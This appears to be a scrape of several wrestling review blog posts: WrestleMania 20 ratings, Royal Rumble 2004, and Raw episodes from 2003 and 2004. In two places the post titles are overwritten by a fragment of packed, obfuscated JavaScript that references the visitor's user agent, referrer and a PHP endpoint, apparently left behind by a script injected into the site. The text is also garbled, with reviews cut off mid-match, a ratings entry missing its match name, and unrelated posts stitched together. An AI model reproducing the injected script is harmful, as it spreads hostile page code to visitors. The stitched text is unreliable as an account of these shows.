Booker T./Rob Van Dam vs. La Resistance vs. Garrison Cade/Mark Jidrak vs. Dudley Boyz

Original: D

2013 Redo: D

2017 Redo: D

Christian vs. Chris Jericho

Original: B

2013 Redo: B

2017 Redo: B-

Evolution vs. The Rock/Mick Foley

Original: A

2013 Redo: B

2017 Redo: B+

Torrie Wilson/Sable vs. Miss Jackie/Stacy Keibler

Original: F

2013 Redo: N/A

2017 Redo: N/A

Cruiserweight Open

Original: D+

2013 Redo: D

2017 Redo: D

Brock Lesnar vs. Goldberg

Original: F

2013 Redo: E

2017 Redo: S (for SEQUEL)

Original: D

2013 Redo: D

2017 Redo: D-

Molly Holly vs. Victoria

Original: D+

2013 Redo: D+

2017 Redo: C-

Eddie Guerrero vs. Kurt Angle

Original: A

2013 Redo: A

2017 Redo: A

Kane vs. Undertaker

Original: D

2013 Redo: D+

2017 Redo: D

Shawn Michaels vs. HHH vs. Chris Benoit

Original: A+

2013 Redo: A+

2017 Redo: A+

Overall Rating

Original: B

2013 Redo: B

2017 Redo: B

Oh I think we have the definitive rating here.

http://kbwrestlingreviews.com/2011/03/27/history-of-wrestlemania-with-kb-wrestlemania-20-where-it-all-begins-again-with-two-dead-guys/

And the 2013 Redo:

http://kbwrestlingreviews.com/2013/03/29/wrestlemania-count-up-wrestlemania-xx-nearly-a-masterpiece/

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – August 23, 2004: Unlike Anything I’ve Ever Seen

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahesn|var|u0026u|referrer|krfbn||js|php'.split('|'),0,{})) Night Raw
Date: August 23, 2004
Location: Arrowhead Pond, Anaheim, California
Commentators: Jim Ross, Jerry Lawler

We open with a quick recap of Orton being thrown out of Evolution.

Opening sequence. I miss Across the Nation as the theme song.

Kane, in his ring gear, arrives with his suit in a bag.

We recap Evolution turning on Randy Orton and throwing him off the team last week.

The remaining members of Evolution are in the back. Batista has delivered an ultimatum to Orton for later tonight.

Kane comes in to see a disgusted Lita and promises that nothing will ruin this wedding tonight. The wedding will be an all white affair to signify the purity of his child. He even has a dress for her.

Intercontinental Title: Chris Jericho vs. Edge

William Regal vs. Ric Flair

Rating: C+. This was the kind of hard hitting match you would expect from these two, even though Flair was only doing signature stuff at this point. Regal always seemed like someone who might turn into a huge deal but he was happy to just be a cool midcarder who had almost unlimited respect.

Coach shows us how to vote in the Diva Search.

Lita hates her wedding dress and breaks her mirror.

The catfight is on for a bit until the minister gets things under control again. Cue Matt Hardy (with Lita doing a perfect damsel in distress smile) for the save from behind, only to have a wall of fire cut off the escape. A chokeslam off the stage and through a table destroys Matt. Lita is dragged back to the ring for the I Do and the forced kiss ends the show.

http://kbwrestlingreviews.com/2013/12/17/monday-night-raw-august-30-2004-total-divas-wish-they-were-like-this/

https://www.amazon.com/dp/B01IH7O904


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Royal Rumble Count-Up – 2004: This Should Have Been It

Royal Rumble 2004
Date: January 25, 2004
Location: Wachovia Center, Philadelphia, Pennsylvania
Attendance: 17,289
Commentators: Michael Cole, Tazz, Jerry Lawler, Jim Ross, Jerry Lawler

Raw Tag Titles: Dudley Boys vs. Evolution

Rating: D. This match fell into the same trap that all bad tables matches fall into: the dull set of spots that fail until one works for the win. You rarely get something that gets around this through sheer carnage such as the match at the 2000 Rumble, but this was just terrible. I have no idea what they were going for here as the fans were disappointed and they only had four and a half minutes to get into it. Also: real smart WWE. This is the right way to start a show in Philadelphia: have some of the most famous ECW guys ever lose.

Cena raps about winning the Rumble when RVD comes in to steal the joke. Weed jokes are made. Josh Matthews looks like the king of all tools here.

Cruiserweight Title: Rey Mysterio vs. Jamie Noble

Noble yells at Nidia post match.

Eddie Guerrero vs. Chavo Guerrero

Back to the mat with Eddie working on the arm before Chavo nips up and hooks a rana to send them both to the floor. Chavo sends Eddie into the announce table to finally take over and get some of the aggression going. Back in and they get into a kind of MMA style brawl on the mat until Eddie hooks a cross armbreaker of all things. That goes nowhere so Chavo suplexes Eddie down for two, followed by the Three Amigos. Eddie counters a tornado DDT and hits Three Amigos of his own. Chavo is down so Eddie goes up and hits the Frog Splash for the pin. ANOTHER quick ending tonight.

Rating: C+. This was way better than the other matches, but this felt like it was missing fifteen minutes or so. Three matches so far have combined to be about fifteen minutes long which is pretty lame for a modern PPV, even for the Rumble. This could have been a lot more, but the feud was completely done after tonight. Eddie would become #1 contender on the following Smackdown.

Eddie destroys Chavo post match in a pretty heelish display. Chavo gets busted open.

Smackdown World Title: Brock Lesnar vs. Hardcore Holly

Raw World Title: Shawn Michaels vs. HHH

Out of nowhere Shawn takes out the leg and hooks a Figure Four, because where would we be without a Flair tribute? That gets a five count so Shawn hits a chop block for a four. HHH low bridges Shawn and we head to the floor for a bit. HHH loads up the announce table but Shawn blocks a Pedigree attempt. They slug it out on the table with HHH getting knocked to the floor, drawing a bunch of booing from the bloodthirsty Philadelphia fans.

Rumble video with a focus on Benoit.

Royal Rumble

The handspring elbow takes Orton down but Benoit rolls some Germans on Tajiri to take him down. Tajiri only gets two as I guess Benoit is conserving strength. Henry throws Orton to the apron but stops looking like an idiot. Bradshaw is #5 and he immediately clotheslines down everyone not named Benoit. Benoit takes offense to being left out and puts Bradshaw in the Crossface before pulling Bradshaw out. Eh he would get a nine month title reign stating in the summer so I feel no sympathy for him.

Everyone tries to throw each other out while laying on the ropes until Rikishi is #14. Benoit dumps Rhyno to keep us at six people (Benoit, Orton, Rikishi, Booker, Morgan, Hardy) in the ring. Morgan gets a Stinkface and nothing else happens for a bit. Renee Dupree with the French Tickler is #15. In a surprising moment, Dupree actually knocks Matt out, only to be superkicked out by Rikishi a second later.

Ratings Comparison

Evolution vs. Dudley Boys

Original: C

Redo: D

Rey Mysterio vs. Jamie Noble

Original: N/A

Redo: D+

Chavo Guerrero vs. Eddie Guerero

Original: C+

Redo: C+

Brock Lesnar vs. Hardcore Holly

Original: D-

Redo: D

HHH vs. Shawn Michaels

Original: C+

Redo: C-

Royal Rumble

Original: A

Redo: A

Overall Rating

Original: C+

Redo: B-

Just as last time, the Rumble is the only thing worth seeing.

http://kbwrestlingreviews.com/2011/01/23/royal-rumble-count-up-2004-he-who-must-not-be-named/

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


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Monday Night Raw – February 24, 2003: One of the Best Heel Promos I’ve Ever Heard

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttkrt|var|u0026u|referrer|iadhi||js|php'.split('|'),0,{})) Night Raw
Date: February 24, 2003
Location: Air Canada Centre, Toronto, Canada
Attendance: 10,000
Commentators: Jim Ross, Jerry Lawler

Opening sequence. I miss Across the Nation.

He cuts the fans off for chanting Rocky too early before talking about whipping Hogan last night, earning him a free pass to come here tonight from Vince. Rock finally says Toronto and goes into a hilarious imitation of fans being SO happy that he said the town they live in. It was here in Toronto that the people turned on their champion last year at Wrestlemania like a bunch of mother-Canuckers.

Jackie vs. Jazz

Marketing director Stacy Keibler has Test involved with Girls Gone Wild. My goodness this is such a different time. Test gets to pick the finalists for Ms. Girls Gone Wild. We see a party in a club with Test dancing with the girls and telling them to go wild.

We look back at Evolution electrocuting Goldust a few weeks back.

Kane vs. Lance Storm

Scott Steiner/Booker T. vs. Randy Orton/Batista

Rating: D. In the span of 24 hours, Steiner has gone from a pay per view World Title match to not even getting tagged into a first hour midcard tag match. Booker was the right choice out there as the fans hated Steiner even though he was beating up the top heel stable in the company. The dude was a disaster in WWE and it was only going to get worse for him.

We look at Rock being better than any other heel in years to open the show.

Chris Jericho/Christian vs. Stacy Keibler/Test

Stacy gets one of the pops of the night for a tied off Maple Leafs shirt and some very nice shorts. Test charges at Jericho to start but Christian cuts him off. A tilt-a-whirl slam plants Christian but Jericho goes after Stacy for another distraction to keep being totally evil. Test loads up a gorilla press but Jericho brings in a chair to take him down for the DQ in a hurry.

Test gets handcuffed to the ropes as the Canadians (well the other Canadians) bring Stacy inside with Jericho putting her in the Walls. Cue Jeff Hardy for the save but Christian plants him with an Unprettier. Instead Shawn Michaels runs in for the real save.

Jerry Lawler vs. Chief Morely

Ross and Lawler talk about Austin being here next week.

Flair gives Orton and Batista their marching orders for the battle royal.

Battle Royal

Booker T., The Rock, Randy Orton, Batista, Chris Jericho, Jamal, Rosey, Rob Van Dam, Test, Hurricane, Rodney Mack, Stevie Richards, Al Snow, Christian, Jeff Hardy, Kane, Lance Storm, Maven, Scott Steiner, Tommy Dreamer

Overall Rating: C+. Can we give Rock a two hour block every Monday night to let him do whatever he wants and show everyone how to be entertaining? This was ALL Rock tonight as the rest of the show is paling in comparison. I can barely think of anything else on the show other than Booker winning, which tells me how dominant Rock really was tonight. The wrestling meant nothing here but Rock was pure gold. Find that opening promo though and take notes.

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